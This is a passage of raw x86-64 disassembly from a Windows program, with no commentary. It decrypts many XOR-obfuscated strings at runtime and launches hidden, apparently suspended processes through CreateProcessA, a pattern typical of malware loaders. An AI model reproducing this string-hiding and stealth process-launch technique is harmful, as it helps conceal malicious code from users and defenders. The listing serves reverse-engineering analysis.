cmp byte [rbx + r8], 0
jne 0x1400719d0
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x5358
mov eax, dword [rcx + rsi]
mov edx, 0x4c08
test al, 1
jne 0x140071a21
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov dword [rbx + 4], 0x1cb18d5
mov dword [rbx], 0x30cfd6c3
lea rcx, [0x1400b00c0]
call fcn.140093de0
nop
jmp 0x140071a25
lea rbx, [rdx + rsi]
cmp byte [rbx + 7], 0
je 0x140071a4a
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0xa1
xor byte [rbx + 3], 0x5f
xor byte [rbx + 4], 0xb7
xor byte [rbx + 5], 0x7d
xor byte [rbx + 6], 0xcb
mov byte [rbx + 7], 0
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140071a50
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400ba050]
mov ecx, 0x4f64
mov eax, dword [rcx + rsi]
mov edx, 0x4e20
test al, 1
jne 0x140071ace
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rsp + 0x700]
cmp rbx, rcx
ja 0x140071ab8
lea rcx, [rsp + 0x6f0]
cmp rax, rcx
jb 0x140071ab8
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0xb
jmp 0x140071abf
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0xb
lea rcx, [0x1400b00a0]
call fcn.140093de0
nop
jmp 0x140071ad2
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x11], 0
je 0x140071b1f
xor byte [rbx], 0xb
xor byte [rbx + 1], 0xbd
xor byte [rbx + 2], 0x8b
xor byte [rbx + 3], 0x47
xor byte [rbx + 4], 0xad
xor byte [rbx + 5], 0xf7
xor byte [rbx + 6], 0x6b
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0xb
xor byte [rbx + 9], 0xbd
xor byte [rbx + 0xa], 0x8b
xor byte [rbx + 0xb], 0x47
xor byte [rbx + 0xc], 0xad
xor byte [rbx + 0xd], 0xf7
xor byte [rbx + 0xe], 0x6b
xor byte [rbx + 0xf], 0xdb
xor byte [rbx + 0x10], 0xb
mov byte [rbx + 0x11], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071b22
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x4f24
mov eax, dword [rcx + rsi]
mov edx, 0x5208
test al, 1
jne 0x140071b83
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov word [rbx + 0xb], 0x13d
mov dword [rbx], 0x62c75012
mov dword [rbx + 4], 0x63d86fae
mov word [rbx + 8], 0x5a1b
mov byte [rbx + 0xa], 0xd1
lea rcx, [0x1400b0080]
call fcn.140093de0
nop
jmp 0x140071b87
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xc], 0
je 0x140071bc0
xor byte [rbx], 0x77
xor byte [rbx + 1], 0x3f
xor byte [rbx + 2], 0xb5
xor byte [rbx + 3], 0x3d
xor byte [rbx + 4], 0xcb
xor byte [rbx + 5], 1
xor byte [rbx + 6], 0xb9
xor byte [rbx + 7], 1
xor byte [rbx + 8], 0x77
xor byte [rbx + 9], 0x3f
xor byte [rbx + 0xa], 0xb5
xor byte [rbx + 0xb], 0x3d
mov byte [rbx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140071be0
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140009a30
nop
lea rdx, [rsp + 0xa0]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x140073f78
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140071c5b
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071c56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072ac2
call fcn.140093d04
test bl, bl
je 0x140071cdf
mov ecx, 0x4e0c
mov eax, dword [rcx + rsi]
mov edx, 0x52dc
test al, 1
jne 0x140071c9d
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov word [rbx + 5], 0x101
mov dword [rbx], 0x52d01257
mov byte [rbx + 4], 0xb9
lea rcx, [0x1400b0060]
call fcn.140093de0
nop
jmp 0x140071ca1
lea rbx, [rdx + rsi]
cmp byte [rbx + 6], 0
je 0x140071cc2
xor byte [rbx], 0x77
xor byte [rbx + 1], 0x3f
xor byte [rbx + 2], 0xb5
xor byte [rbx + 3], 0x3d
xor byte [rbx + 4], 0xcb
xor byte [rbx + 5], 1
mov byte [rbx + 6], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071cc5
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x794], xmm0
movups xmmword [rsp + 0x7a4], xmm0
movups xmmword [rsp + 0x7b4], xmm0
movups xmmword [rsp + 0x7c4], xmm0
movups xmmword [rsp + 0x7d4], xmm0
movups xmmword [rsp + 0x7e4], xmm0
mov dword [rsp + 0x7f4], eax
mov dword [rsp + 0x790], 0x68
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x724], xmm1
movups xmmword [rsp + 0x734], xmm1
movups xmmword [rsp + 0x744], xmm1
movups xmmword [rsp + 0x754], xmm1
movups xmmword [rsp + 0x764], xmm1
movups xmmword [rsp + 0x774], xmm1
mov dword [rsp + 0x784], eax
mov dword [rsp + 0x720], 0x68
movups xmmword [rsp + 0x338], xmm0
mov qword [rsp + 0x348], rax
movdqa xmm0, xmmword [0x1400b9470]
mov dword [rsp + 0x480], 0xfcf1f4a4
mov dword [rsp + 0x484], 0x2355d8f1
mov ecx, 0x517c
mov eax, dword [rcx + rsi]
mov edx, 0x5298
test al, 1
jne 0x140071e19
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rsp + 0x487]
cmp rbx, rcx
ja 0x140071df9
lea rcx, [rsp + 0x470]
cmp rax, rcx
jb 0x140071df9
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x480]
movsd qword [rbx + 0x10], xmm0
jmp 0x140071e0a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x480]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x1400b0040]
call fcn.140093de0
nop
jmp 0x140071e1d
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x18], 0
je 0x140071e86
xor byte [rbx], 0xc5
xor byte [rbx + 1], 0x81
xor byte [rbx + 2], 0x9f
xor byte [rbx + 3], 0x9f
xor byte [rbx + 4], 0x99
xor byte [rbx + 5], 0xbd
xor byte [rbx + 6], 0x27
xor byte [rbx + 7], 0x23
xor byte [rbx + 8], 0xc5
xor byte [rbx + 9], 0x81
xor byte [rbx + 0xa], 0x9f
xor byte [rbx + 0xb], 0x9f
xor byte [rbx + 0xc], 0x99
xor byte [rbx + 0xd], 0xbd
xor byte [rbx + 0xe], 0x27
xor byte [rbx + 0xf], 0x23
xor byte [rbx + 0x10], 0xc5
xor byte [rbx + 0x11], 0x81
xor byte [rbx + 0x12], 0x9f
xor byte [rbx + 0x13], 0x9f
xor byte [rbx + 0x14], 0x99
xor byte [rbx + 0x15], 0xbd
xor byte [rbx + 0x16], 0x27
xor byte [rbx + 0x17], 0x23
mov byte [rbx + 0x18], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071ea0
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140009a30
nop
lea rdx, [rsp + 0xa0]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x140073fc2
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140071f1b
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071f16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072ac2
call fcn.140093d04
test bl, bl
je 0x14007219c
movdqa xmm0, xmmword [0x1400ba120]
movdqa xmm1, xmmword [0x1400b9fe0]
movdqa xmm2, xmmword [0x1400b9ed0]
mov word [rsp + 0x6d0], 0xfd8e
mov ecx, 0x5190
mov eax, dword [rcx + rsi]
mov edx, 0x50e0
test al, 1
jne 0x140071fc1
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x31]
lea rcx, [rsp + 0x6d1]
cmp rbx, rcx
ja 0x140071f9b
lea rcx, [rsp + 0x6a0]
cmp rax, rcx
jb 0x140071f9b
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rsp + 0x6d0]
mov word [rbx + 0x30], ax
jmp 0x140071fb2
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rsp + 0x6d0]
mov word [rbx + 0x30], ax
lea rcx, [0x1400b0010]
call fcn.140093de0
nop
jmp 0x140071fc5
lea rbx, [rdx + rsi]
mov rcx, rbx
call fcn.140074450
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf8], xmm1
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140071ff0
mov rdx, rbx
lea rcx, [rsp + 0xe8]
call fcn.140009a30
nop
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], 0x10
cmovae r8, qword [rsp + 0x3f8]
mov r9, r15
xor edx, edx
lea rcx, [rsp + 0xe8]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x120], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0x10
cmovae rdx, qword [rsp + 0x110]
lea rax, [rsp + 0x338]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rsp + 0x128]
cmp rdx, 0x10
jb 0x140072115
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072110
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072110
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x100]
cmp rdx, 0x10
jb 0x140072174
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007216f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007216f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x140072194
mov rcx, qword [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x408]
movdqa xmm0, xmmword [0x1400b9490]
mov word [rsp + 0x530], 0x974e
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x4bac
mov eax, dword [rcx + rsi]
mov ebx, 0x4c80
add rbx, rsi
test al, 1
jne 0x140072223
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rsp + 0x531]
cmp rbx, rcx
ja 0x140072207
lea rcx, [rsp + 0x520]
cmp rax, rcx
jb 0x140072207
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x530]
mov word [rbx + 0x10], ax
jmp 0x140072216
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x530]
mov word [rbx + 0x10], ax
lea rcx, [0x1400afff0]
call fcn.140093de0
nop
cmp byte [rbx + 0x12], 0
je 0x140072274
xor byte [rbx], 0x2b
xor byte [rbx + 1], 0x97
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xbb
xor byte [rbx + 5], 0x6b
xor byte [rbx + 6], 0x93
xor byte [rbx + 7], 0x33
xor byte [rbx + 8], 0x2b
xor byte [rbx + 9], 0x97
xor byte [rbx + 0xa], 0xbf
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0xbb
xor byte [rbx + 0xd], 0x6b
xor byte [rbx + 0xe], 0x93
xor byte [rbx + 0xf], 0x33
xor byte [rbx + 0x10], 0x2b
xor byte [rbx + 0x11], 0x97
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf8], xmm1
mov r8, rdi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140072290
mov rdx, rbx
lea rcx, [rsp + 0xe8]
call fcn.140009a30
nop
lea rdx, [rsp + 0xe8]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x14007400c
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0x100]
cmp rdx, 0x10
jb 0x14007230b
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072306
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072ac2
call fcn.140093d04
test bl, bl
je 0x140072669
mov rdx, qword [0x1400de8a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov r14, rax
movdqa xmm0, xmmword [0x1400b9990]
movdqa xmm1, xmmword [0x1400b98c0]
mov dword [rsp + 0x5b8], 0x62ab28a3
mov word [rsp + 0x5bc], 0x5fcb
mov ecx, 0x4d1c
mov eax, dword [rcx + rsi]
mov edx, 0x4f30
test al, 1
jne 0x1400723de
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x27], 1
lea rax, [rbx + 0x26]
lea rcx, [rsp + 0x5be]
cmp rbx, rcx
ja 0x1400723ae
lea rcx, [rsp + 0x598]
cmp rax, rcx
jb 0x1400723ae
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rsp + 0x5b8]
mov dword [rbx + 0x20], eax
movzx eax, word [rsp + 0x5bc]
mov word [rbx + 0x24], ax
mov byte [rbx + 0x26], 0xb3
jmp 0x1400723cf
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rsp + 0x5b8]
mov dword [rbx + 0x20], eax
movzx eax, word [rsp + 0x5bc]
mov word [rbx + 0x24], ax
mov byte [rbx + 0x26], 0xb3
lea rcx, [0x1400affc0]
call fcn.140093de0
nop
jmp 0x1400723e2
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x27], 0
je 0x14007248b
xor byte [rbx], 0xcd
xor byte [rbx + 1], 0x4b
xor byte [rbx + 2], 0xc3
xor byte [rbx + 3], 7
xor byte [rbx + 4], 0xb9
xor byte [rbx + 5], 0x71
xor byte [rbx + 6], 0xb3
xor byte [rbx + 7], 0x1b
xor byte [rbx + 8], 0xcd
xor byte [rbx + 9], 0x4b
xor byte [rbx + 0xa], 0xc3
xor byte [rbx + 0xb], 7
xor byte [rbx + 0xc], 0xb9
xor byte [rbx + 0xd], 0x71
xor byte [rbx + 0xe], 0xb3
xor byte [rbx + 0xf], 0x1b
xor byte [rbx + 0x10], 0xcd
xor byte [rbx + 0x11], 0x4b
xor byte [rbx + 0x12], 0xc3
xor byte [rbx + 0x13], 7
xor byte [rbx + 0x14], 0xb9
xor byte [rbx + 0x15], 0x71
xor byte [rbx + 0x16], 0xb3
xor byte [rbx + 0x17], 0x1b
xor byte [rbx + 0x18], 0xcd
xor byte [rbx + 0x19], 0x4b
xor byte [rbx + 0x1a], 0xc3
xor byte [rbx + 0x1b], 7
xor byte [rbx + 0x1c], 0xb9
xor byte [rbx + 0x1d], 0x71
xor byte [rbx + 0x1e], 0xb3
xor byte [rbx + 0x1f], 0x1b
xor byte [rbx + 0x20], 0xcd
xor byte [rbx + 0x21], 0x4b
xor byte [rbx + 0x22], 0xc3
xor byte [rbx + 0x23], 7
xor byte [rbx + 0x24], 0xb9
xor byte [rbx + 0x25], 0x71
xor byte [rbx + 0x26], 0xb3
mov byte [rbx + 0x27], 0
mov rdx, rbx
mov rcx, r14
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140074250
mov rcx, rax
call fcn.140074330
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400724e0
mov rdx, rcx
lea rcx, [rsp + 0x378]
call fcn.140009a30
nop
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], 0x10
cmovae r8, qword [rsp + 0x3f8]
mov r9, r15
xor edx, edx
lea rcx, [rsp + 0x378]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
lea rax, [rsp + 0x338]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x1400725f0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400725eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400725eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x140072649
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072644
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x140072669
mov rcx, qword [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x398]
cmp qword [rsp + 0x3b0], 0x10
cmovae rdx, qword [rsp + 0x398]
lea rax, [rsp + 0x350]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140073838
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0xc0]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400726ea
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x360]
call fcn.140020870
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400b9900]
mov dword [rsp + 0x468], 0x3f5d67cd
mov word [rsp + 0x46c], 0x7af
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r14, rsi
mov qword [rsp + 0x138], rsi
mov ecx, 0x4f70
mov eax, dword [rcx + rsi]
mov ebx, 0x4f98
add rbx, rsi
test al, 1
jne 0x1400727ae
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0x16], 1
lea rax, [rbx + 0x15]
lea rcx, [rsp + 0x46d]
cmp rbx, rcx
ja 0x140072788
lea rcx, [rsp + 0x458]
cmp rax, rcx
jb 0x140072788
movups xmmword [rbx], xmm0
mov eax, dword [rsp + 0x468]
mov dword [rbx + 0x10], eax
movzx eax, word [rsp + 0x46c]
mov word [rbx + 0x14], ax
jmp 0x1400727a1
movups xmmword [rbx], xmm0
mov eax, dword [rsp + 0x468]
mov dword [rbx + 0x10], eax
movzx eax, word [rsp + 0x46c]
mov word [rbx + 0x14], ax
lea rcx, [0x1400aff60]
call fcn.140093de0
nop
cmp byte [rbx + 0x16], 0
je 0x14007280f
xor byte [rbx], 0xbf
xor byte [rbx + 1], 0x49
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0x53
xor byte [rbx + 4], 0xc3
xor byte [rbx + 5], 7
xor byte [rbx + 6], 0xc7
xor byte [rbx + 7], 0x11
xor byte [rbx + 8], 0xbf
xor byte [rbx + 9], 0x49
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0x53
xor byte [rbx + 0xc], 0xc3
xor byte [rbx + 0xd], 7
xor byte [rbx + 0xe], 0xc7
xor byte [rbx + 0xf], 0x11
xor byte [rbx + 0x10], 0xbf
xor byte [rbx + 0x11], 0x49
xor byte [rbx + 0x12], 0x39
xor byte [rbx + 0x13], 0x53
xor byte [rbx + 0x14], 0xc3
xor byte [rbx + 0x15], 7
mov byte [rbx + 0x16], 0
mov rdx, rbx
mov rcx, r15
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x4f60
mov eax, dword [rcx + rsi]
mov edx, 0x5120
test al, 1
jne 0x140072872
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov word [rbx + 0xd], 0x161
mov dword [rbx], 0x11547d26
mov dword [rbx + 4], 0x5b3c04e7
mov dword [rbx + 8], 0x1546624
mov byte [rbx + 0xc], 0xef
lea rcx, [0x1400aff40]
call fcn.140093de0
nop
jmp 0x140072876
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xe], 0
je 0x1400728b7
xor byte [rbx], 0x43
xor byte [rbx + 1], 0x13
xor byte [rbx + 2], 0x35
xor byte [rbx + 3], 0x73
xor byte [rbx + 4], 0x8b
xor byte [rbx + 5], 0x61
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0x3d
xor byte [rbx + 8], 0x43
xor byte [rbx + 9], 0x13
xor byte [rbx + 0xa], 0x35
xor byte [rbx + 0xb], 0x73
xor byte [rbx + 0xc], 0x8b
xor byte [rbx + 0xd], 0x61
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x1400728d1
mov rdx, rbx
lea rcx, [rsp + 0x378]
call fcn.140009a30
nop
lea rdx, [rsp + 0x378]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x140074056
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x14007294c
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072947
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072ac2
call fcn.140093d04
test bl, bl
je 0x140073272
movdqa xmm0, xmmword [0x1400b8ec0]
mov word [rsp + 0x560], 0x4547
mov ecx, 0x4d50
mov eax, dword [rcx + rsi]
mov edx, 0x4de0
test al, 1
jne 0x1400729da
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rsp + 0x562]
cmp rbx, rcx
ja 0x1400729b8
lea rcx, [rsp + 0x550]
cmp rax, rcx
jb 0x1400729b8
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x560]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xed
jmp 0x1400729cb
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x560]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xed
lea rcx, [0x1400aff10]
call fcn.140093de0
nop
jmp 0x1400729de
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x13], 0
je 0x140072a33
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x21
xor byte [rbx + 2], 0xed
xor byte [rbx + 3], 0xef
xor byte [rbx + 4], 0x99
xor byte [rbx + 5], 0x59
xor byte [rbx + 6], 0x91
xor byte [rbx + 7], 0x75
xor byte [rbx + 8], 0x35
xor byte [rbx + 9], 0x21
xor byte [rbx + 0xa], 0xed
xor byte [rbx + 0xb], 0xef
xor byte [rbx + 0xc], 0x99
xor byte [rbx + 0xd], 0x59
xor byte [rbx + 0xe], 0x91
xor byte [rbx + 0xf], 0x75
xor byte [rbx + 0x10], 0x35
xor byte [rbx + 0x11], 0x21
xor byte [rbx + 0x12], 0xed
mov byte [rbx + 0x13], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x388], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140072a50
mov rdx, rbx
lea rcx, [rsp + 0x378]
call fcn.140009a30
nop
lea rdx, [rsp + 0x378]
mov rcx, r13
call fcn.140006f90
cmp byte [rax], 4
jne 0x1400740a0
movzx ebx, byte [rax + 8]
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x140072ace
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072ac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140072ac9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test bl, bl
jne 0x140072bea
movdqa xmm0, xmmword [str.T]
mov ecx, 0x5030
mov eax, dword [rcx + rsi]
mov edx, 0x4e78
test al, 1
jne 0x140072b3a
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rsp + 0x6e8]
cmp rbx, rcx
